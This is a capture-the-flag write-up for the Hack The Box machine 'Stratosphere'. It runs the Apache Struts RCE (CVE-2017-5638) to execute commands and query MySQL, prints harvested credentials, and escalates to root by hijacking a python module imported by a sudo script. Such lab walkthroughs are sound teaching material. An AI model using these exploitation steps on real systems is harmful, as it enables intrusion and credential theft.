Writeup: Hack The Box - Machines - Stratosphere

Description

  • Name: Stratosphere
  • IP: 10.10.10.64
  • Author: linted
  • Difficulty: 5.2/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Mon, 09 Jul 2018 13:08:48 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body>
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Mon, 09 Jul 2018 13:08:47 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
| <p><i class="ar
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Mon, 09 Jul 2018 13:08:47 GMT
| Connection: close
| RTSPRequest, X11Probe:
| HTTP/1.1 400
| Transfer-Encoding: chunked
| Date: Mon, 09 Jul 2018 13:08:47 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Mon, 09 Jul 2018 13:08:47 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
|_ <p><i class="ar
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Stratosphere

With dirsearch:

1
2
3
200 -    2KB - /
302 - 0B - /manager -> /manager/
302 - 0B - /Monitoring -> /Monitoring/

Pwn

The Tomcat server (on port 80 and 8080) is protected by a http authentication but in /Monitoring/ we got redirect to http://10.10.10.64/Monitoring/example/Login_input.action the .action reminded us of the Apache Struts RCE (the Jakarta one): CVE-2017-5638.

A nice script to exploit the RCE is struts-pwn; the pattern to run the script is:

python exploit.py -u http://10.10.10.64/Monitoring/example/Login_input.action -c "id"

1
2
3
4
5
6
7
8
9
10
[*] URL: http://10.10.10.64/Monitoring/example/Login_input.action
[*] CMD: id
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

[%] Done.

And the command will return the output of the id command.

We first got that the user flag is for richard and not tomcat8 so we need to find a way to login as richard. Obviously shadow and /home/richard/user.txt cannot be accessed.

On the Tomcat folder we found a file called db_connect with some credentials and in /etc/tomcat8/tomcat-users.xml we found another username:password combination.

None of those credentials were useful to login as richard via SSH.

Since the file db_connect could be used to connect to the running server MySQL we can use the RCE to issue comands to mysql.

1
2
3
4
5
6
7
[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin

First we tried to list all databases:

python exploit.py -u http://10.10.10.64/Monitoring/example/Login_input.action -c "echo show databases | mysql -u admin -padmin"

1
2
3
4
5
6
7
8
9
10
[*] URL: http://10.10.10.64/Monitoring/example/Login_input.action
[*] CMD: echo show databases | mysql -u admin -padmin
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

Database
information_schema
users

And with the same pattern of commands we got that the DB users has two tables: Tables_in_users (we don’t have rights to access) and accounts.

Usefull command to get the content of the table accounts:

  • echo show tables | mysql -u admin -padmin users
  • echo describe accounts | mysql -u admin -padmin users
  • echo SELECT fullName,password,username FROM accounts | mysql -u admin -padmin users (using * in query will crash the server)

So we got:

1
2
fullName	        password	                username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard

Using those credentials we could login via SSH a richard.

In the home directory we also found a python script and with sudo -l we disovered that the script can be runned by richard as root without password: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
import hashlib


def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return

import os
os.system('/root/success.py')
return

question()

The script will ask some “questions” that we need to answer/solve in order to execute /root/success.py as root.

Since the cracking time of the first MD5 was a way too long we realized that we could exploit the script to run every commands we want: when test.py will call import hashlib it’ll first search for any file called hashlib.py in the current directory.

Creating a python file called hashlist.py with this payload print(open("/root/root.txt").read()) we gained the root flag!